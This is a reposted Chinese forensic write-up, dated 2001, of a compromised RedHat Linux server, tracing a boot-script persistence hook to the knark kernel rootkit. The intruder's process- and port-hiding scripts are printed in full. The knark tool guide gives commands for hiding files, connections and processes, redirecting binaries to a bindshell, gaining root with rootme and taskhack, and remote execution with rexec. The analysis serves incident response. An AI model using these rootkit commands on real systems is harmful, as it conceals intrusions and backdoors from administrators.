跳至正文
-
欢迎您时常回来看看,不错过任何精彩文章。收藏本站!
第七手机网

中国大型手机资讯类网站! https://www.7shouji.com

第七手机网

中国大型手机资讯类网站! https://www.7shouji.com

  • 首页
  • 资讯
  • 热门品牌
  • 新机曝光
  • 安卓频道
  • 苹果频道
  • 智能家居
  • 手游
  • 5G频道
  • VR
  • 趣闻
  • 智能生活
  • 首页
  • 资讯
  • 热门品牌
  • 新机曝光
  • 安卓频道
  • 苹果频道
  • 智能家居
  • 手游
  • 5G频道
  • VR
  • 趣闻
  • 智能生活
关

搜索

趣闻

很酷的一篇入侵分析

作者 dawei
2019年11月25日

一、意外
  时间:2001-3-11下午

  地点:某台RedHat Linux机器:


#uname -a 
Linux *.*.cn.net 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686unknown 

  俺习惯性地先进到/etc/rc.d/init.d,看了一下,马上发现异状:


#ls -la 
…… 
-rwxr-xr-x 1 root root 2775 Mar 26 1999 netfs 
-rwxr-xr-x 1 root root 5537 Mar 3 21:23 network 
-rwxr-xr-x 1 root root 2408 Apr 16 1999 nfs 
…… 

二、初步检查

  明显是个新手干的嘛,network文件被人动过了,咱们用stat命令看看先:


#stat network 
file: “network” 
Size: 5537 Filetype: Regular File 
Mode: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) 
Device: 3,1 Inode: 269454 Links: 1 
Access: Sun Mar 11 10:59:59 2001(00000.05:53:41) 
Modify: Sun Mar 4 05:23:41 2001(00007.11:29:59) 
Change: Sun Mar 4 05:23:41 2001(00007.11:29:59) 

  最后被人改动的时间是3月4号的凌晨。让我们来看看他往文件里加了什么吧:


#cat network 
…… 
/usr/lib/libdd.so.1 

  就是这么一句,加在文件末尾,看来的确是手段不甚高明。瞧瞧这是个什么文件先


#file /usr/lib/libdd.so.1 
/usr/lib/libdd.so.1: ELF 32-bit LSB executable, Intel 80386,version 1, 
dynamically linked (uses shared libs), not stripped 

  哦,是个二进制的可执行文件,执行下strings看是否眼熟


#strings /usr/lib/libdd.so.1 
/lib/ld-linux.so.2 
__gmon_start__ 
libc.so.6 
system 
__deregister_frame_info 
_IO_stdin_used 
__libc_start_main 
__register_frame_info 
GLIBC_2.0 
PTRh 
/boot/.pty0/go.sh <--------这条信息看上去比较有趣 

  哦,这就简单了嘛,俺看看这里面的路径:


#cd /boot/.pty0 
#cat go.sh 
#!/bin/bash 
f=`ls -al /boot | grep .pty0` 
if [ -n “$f” ]; then 
cd /boot/.pty0 
./mcd -q 
cd mech1 
./mech -f conf 1>/dev/null 2>/dev/null 
cd .. 
cd mech2 
./mech -f conf 1>/dev/null 2>/dev/null 
cd .. 
cd mech3 
./mech -f conf 1>/dev/null 2>/dev/null 
cd .. 

/sbin/insmod paraport.o 1>/dev/null 2>/dev/null 
/sbin/insmod iBCS.o 1>/dev/null 2>/dev/null 
./ascunde.sh 
fi 

  有点晕,看不明白mcd、mech这些东西是干嘛用的,再看一下下一个脚本是什么:


#cat ascunde.sh 

#!/bin/bash 
for proces in `/bin/cat /boot/.pty0/hdm`; do 
P=`/sbin/pidof $proces` 
if [ -n “$P” ]; then 
killall -31 $proces 1>/dev/hdm 2>/dev/hdm 
fi 
done 
for port in `/bin/cat /boot/.pty0/hdm1`; do 
./nethide `./dec2hex $port` 1>/dev/hdm 2>/dev/hdm 
done 
for director in `/bin/cat /boot/.pty0/hdm2`; do 
./hidef $director 1>/dev/hdm 2>/dev/hdm 
done 

  看到这里,事情开始有趣了,这似乎不是一个三流的s criptkiddle干的活嘛,打个包拖回来先,于是俺


#cd /boot 
#ls -la 
total 2265 
drwxr-xr-x 3 root root 1024 Mar 11 03:01 . 
drwxr-xr-x 21 root root 1024 Mar 2 03:37 .. 
lrwxrwxrwx 1 root root 19 Sep 26 1999 System.map ->System.map-2.2.5-15 
-rw-r–r– 1 root root 186704 Apr 20 1999 System.map-2.2.5-15 
-rw-r–r– 1 root root 512 Sep 26 1999 boot.0300 
-rw-r–r– 1 root root 4544 Apr 13 1999 boot.b 
-rw-r–r– 1 root root 612 Apr 13 1999 chain.b 
-rw——- 1 root root 9728 Sep 26 1999 map 
lrwxrwxrwx 1 root root 20 Sep 26 1999 module-info ->module-info-2.2.5-15 
-rw-r–r– 1 root root 11773 Apr 20 1999 module-info-2.2.5-15 
-rw-r–r– 1 root root 620 Apr 13 1999 os2_d.b 
-rwxr-xr-x 1 root root 1469282 Apr 20 1999 vmlinux-2.2.5-15 
lrwxrwxrwx 1 root root 16 Sep 26 1999 vmlinuz ->vmlinuz-2.2.5-15 
-rw-r–r– 1 root root 617288 Apr 20 1999 vmlinuz-2.2.5-15 

  咦,事情更有趣了……居然没有看到.pty0的目录


#cd .pty0 
#ls -laF 
total 1228 
drwxr-xr-x 3 root root 1024 Mar 11 03:01 ../ 
-rwxr-xr-x 1 root root 345 Mar 3 21:23 ascunde.sh* 
-rwxr-xr-x 1 root root 12760 Mar 3 21:23 dec2hex* 
-rwxr-xr-x 1 root root 13414 Mar 3 21:23 ered* 
-rwxr-xr-x 1 root root 358 Mar 7 19:03 go.sh* 
-rwxr-xr-x 1 root root 3872 Mar 3 21:23 hidef* 
-rw-r–r– 1 root root 956 Mar 3 21:23 iBCS.o 
-rw-r–r– 1 root root 524107 Mar 7 18:40 m.tgz 
-rwxr-xr-x 1 root root 656111 Mar 3 21:23 mcd* 
drwxr-xr-x 4 root root 1024 Mar 7 19:00 mech1/ 
drwxr-xr-x 4 root root 1024 Mar 9 19:50 mech2/ 
drwxr-xr-x 4 root root 1024 Mar 9 19:20 mech3/ 
-rwxr-xr-x 1 root root 12890 Mar 3 21:23 nethide* 
-rw-r–r– 1 root root 10948 Mar 3 21:23 paraport.o 
-rw-r–r– 1 root root 522 Mar 3 21:23 ssh_host_key 
-rw——- 1 root root 512 Mar 11 04:16 ssh_random_seed 
-rw-r–r– 1 root root 677 Mar 3 21:23 sshd_config 

  看来是加载了某个lkm了,比较讨厌。


#/sbin/lsmod 
Module Size Used by 
nfsd 150936 8 (autoclean) 
lockd 30856 1 (autoclean) [nfsd] 
sunrpc 52356 1 (autoclean) [nfsd lockd] 
3c59x 18920 1 (autoclean) 

  这些是正常的lkm么?前三个模块跟rpc有关,不知开了哪些rpc服务


#/usr/sbin/rpcinfo -p localhost 
program vers proto port 
100000 2 tcp 111 rpcbind 
100024 1 tcp 664 status 
100011 1 udp 673 rquotad 
100005 3 tcp 695 mountd 
100003 2 udp 2049 nfs 
100021 3 tcp 1024 nlockmgr 

  原来如此,难怪会被入侵,该开的全开了。不过也证明了nfsd,lockd,sunrpc这三个模块没问题了。

  再来看看网卡吧,3c59x是网卡的驱动模块。


#/sbin/ifconfig -a 
/sbin/ifconfig -a 
lo Link encap:Local Loopback 
inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0 
UP LOOPBACK RUNNING MTU:3924 Metric:1 
RX packets:380640 errors:3374 dropped:0 overruns:0 
TX packets:0 errors:0 dropped:0 overruns:380640 

eth0 Link encap:10Mbps Ethernet HWaddr 00:10:5A:63:5B:05 
inet addr:*.*.*.* Bcast:*.*.*.255 Mask:255.255.255.0 
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 
RX packets:71144611 errors:820101 dropped:0 overruns:0 
TX packets:0 errors:0 dropped:0 overruns:436037129 
Interrupt:10 Base address:0xe400 

#dmesg|grep eth0 
eth0: 3Com 3c905B Cyclone 100baseTx at 0xe400, 00:10:5a:63:5b:05,IRQ 10 
eth0: Setting promiscuous mode. 
device eth0 entered promiscuous mode 

  看来这些模块都是正常的,但比较狠的就是——device eth0 enteredpromiscuousmode——看来这入侵者架了sniffer开听了,但关键是现在这个入侵者加载了个俺看不到的家伙,有些晕了……咦,对了,看看文件名先……

三、模块介绍

  nethide?似乎有点印象……好吧,到俺的一堆破烂里找找……咦,找到一篇knarkhacking的文章,里面有提到nethide,先当下一个来玩玩吧,有个版本号为knark-0.59的,是对LinuxKernel 2.2的,行……咱们先看看这是什么样的内核模块:

  除了taskhack.c之处,所有这些文件都是基于knark.o模块的正确加载。

  hidef用来隐藏你的文件或者目录,你可以建立一个目录,比如/boot/.pty0,然后键入./hidef/boot/.pty0于是这这个目录便被隐藏起来,并且连du之类的命令也不能找出它来,同样的,子目录下的任何文件也一样地被藏得天衣无缝

  ered用来重定向执行某个程序,比如说,你把一个bindsh*ll 的程序拷到/boot/.pty0/bindsh*ll , 然后可以用./ered /bin/ls/boot/.pty0/bindsh*ll 这样的命令,将ls重定向到bindsh*ll , 当然,这样的话,ls是没变,但已经不能正确执行了。如果要清除所有的命令重定向,可以键入./ered -c nethide用来隐藏/proc/net/tcp及/proc/net/udp里的连接进程——netstat就是从这里面获取信息并 输出的,比如你要隐藏端口43981的连接信息,你必须键入:

./nethide “:ABCD ” 

  你就可以象grep-v一样,过滤掉你不想让人看到的网络连接信息了,比如你用:

netstat -at 

  可能会有一行连接(ssh)的记录是这样的:


Proto Recv-Q Send-Q Local Address Foreign Address State 
tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED 

  我们来看看/proc/net/tcp里面的情况如何:

cat /proc/net/tcp 

  其中相应的行应该是这样的:


local_address rem_address blablabla… 
0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:0000000000000000 

  如果我们想隐藏关于127.0.0.1这个IP地址的所有信息,首先就必须把它“翻译”成这种格式,127用十六进制表示是7F,0是00,1是01,于是地址就是0100007F,然后,再跟上端口22是0016,就是: 0100007F:0016了,于是我们键入:

./nethide “0100007F:0016” 

  便可以将其隐藏得很漂亮了。

  rootme 利用这个家伙,你可以不需要suid位,就能拿到root的权限喽:

./rootme /bin/sh 

  你也可以用这种方式来运行:

./rootme /bin/ls -l /root 

  这里必须注意,要输入完整的路径名。

  taskhack 可以改变运行着的进程的uid,euid,gid,egid等。

./taskhack -alluid=0 pid 

  这可以把该进程所有的*uid(uid, euid, suid, fsuid)都改成0

  你用:


ps aux | grep bash 
creed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash 

  rexec 远程执行命令,比如:

./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER 

knark还有一些其它的特性:

  将信号31发送给某个进程,能够在/proc里将进程文件隐藏起来,这样ps及top 都无法看到,比如:

#kill -31 pid 

如果这个进程还有它的子进程,那么也将一同被隐藏起来,所以如果你把你的sh*ll隐藏掉的话,所有你键入的进程将都是不可见的。如果你想再看看,被隐藏起来的进程藏在什么地方的话,可以看/proc/knark/pids文件,这里列出所有隐藏的家伙;) 闯入一个系统中,sniffer总是入侵者们用来扩大战果的玩意儿,现在也存在许多小工具能够侦测到网卡是否被置于混杂模式,但如果你加载了这个模块,当人们在查询SIOCGIFFLAGS的标志位时,IFF_PROMISC——接口为随机(promiscuous)模式总是会被隐藏的。

  这个包中还带有另一个小工具modhide,这个模块加载后,可以将最后加载至系统中的模块从

  模块列表里移除——也就是/proc/module里面看不到它,示例如下:


#/sbin/insmod knark.o 
#/sbin/lsmod | grep knark 
knark 6640 0 (unused) 
#/sbin/insmod modhide.o 
#lsmod | grep knark 

  啥也没有了

  最重要的是,我们可以在/proc/knark/目录——当然也是隐藏的——下面找到所有被藏起来的东西的资料。

四、分析

  我们可以试着看看:


#cd /proc/knark/ 
#cat files 
HIDDEN FILES 
/boot/.pty0 
/usr/lib/logem 

  这两个目录就是被藏起来的了;)


#cat nethides 
HIDDEN STRINGS (without the quotes) 
“CB0C” 
“17” 
“:0947” 

  这里是三个netstat的隐藏。


#cat pids 
EUID PID COMMAND 
0 112 mcd 
0 338 dittrich 

  两个后门,一个bindsh*ll ,一个是伪装成ssh的,进程都被隐藏了。


#cat redirects 
REDIRECT FROM REDIRECT TO 
/bin/login /usr/lib/logem/login2 

  可执行程序重定向,这里是把login给重定向了。

  现在很清楚了,黑客进来之后,首先是上传上/usr/lib/logem下面的文件,包括几个脚本及刚才分析的内核模块,以及几个后门,如login后门,ssh后门,然后修改了/etc/rc.d/init.d/network文件,加上/usr/lib/libdd.so.1行,以便系统启动时自加载,(/etc/inetd.conf里也被加上了一句echostream tcp nowait root /usr/sbin/echod/usr/sbin/echod,这样入侵者可以远程启动后门及内核模块,这里的echod与libdd.so.1是同样文件),这个程序指向/boot/.pty0/go.sh:

  这里面启动了几个irc的cliend端,连到国外的一些server上挂着——我不太理解为啥老外都这样?我连上去whois了一下,结果如下:


Coitze is ~statd@the.ip.of.the_hacked_machine * Ask your girlfriend:> 
Coitze on @#radio21pitesti @#mafiotzii 
Coitze using McLean.VA.US.Undernet.Org CAIS Internet, US 
Coitze End of /WHOIS list. 

  而go.sh又指向ascunde.sh,这里是这样的:


for proces in `/bin/cat /boot/.pty0/hdm`; do<-------
hdm文件里有ncd、sh、mcd三行,也就是有这些东西是入侵者想隐藏的 
P=`/sbin/pidof $proces` 
if [ -n “$P” ]; then 
killall -31 $proces 1>/dev/hdm 2>/dev/hdm <-------
发出kill-31的信号,调用加载的内核模块隐藏进程fi 

  摘自:明盾大学网络安全学院

  作者:blan

标签:

一篇入侵分析
作者

dawei

【声明】:第七手机网内容转载自互联网,其相关言论仅代表作者个人观点绝非权威,不代表本站立场。如您发现内容存在版权问题,请提交相关链接至邮箱:bqsm@foxmail.com,我们将及时予以处理。

关注我
其他文章
上一个

Telnet的攻击

下一个

从命令提示符执行 IIS 中的管理任务

广告

最新文章

  • 华为nova 15 Ultra:简约设计,定义精致生活 2026年7月9日
  • 极简之选:Xiaomi 17 Ultra徕卡版影像体验 2026年7月9日
  • 极简美学之选:荣耀500 Pro MOLLY选购指南 2026年7月9日
  • 真我GT8:极简生活,高效之选 2026年7月9日
  • 极简之选:三星S26+,效率新体验 2026年7月9日

广告

云标签

5G Galaxy iPhone iQOO OPPO Pro Realme Redmi vivo 一加 三星 中国 京东 人工智能 体验 全球 区块 华为 发布 小米 微软 怎么 性能 手机 技术 数智网 新机 旗舰 智能 智能家居 曝光 机器人 正式 游戏 科技 系列 美国 芯片 苹果 荣耀 谷歌 运营商 骁龙 高通 魅族

广告

友情链接:155手机网 151手机网 185手机网

第七手机网

大型手机资讯类网站! https://www.7shouji.com

Copyright 2026 — 第七手机网. All rights reserved.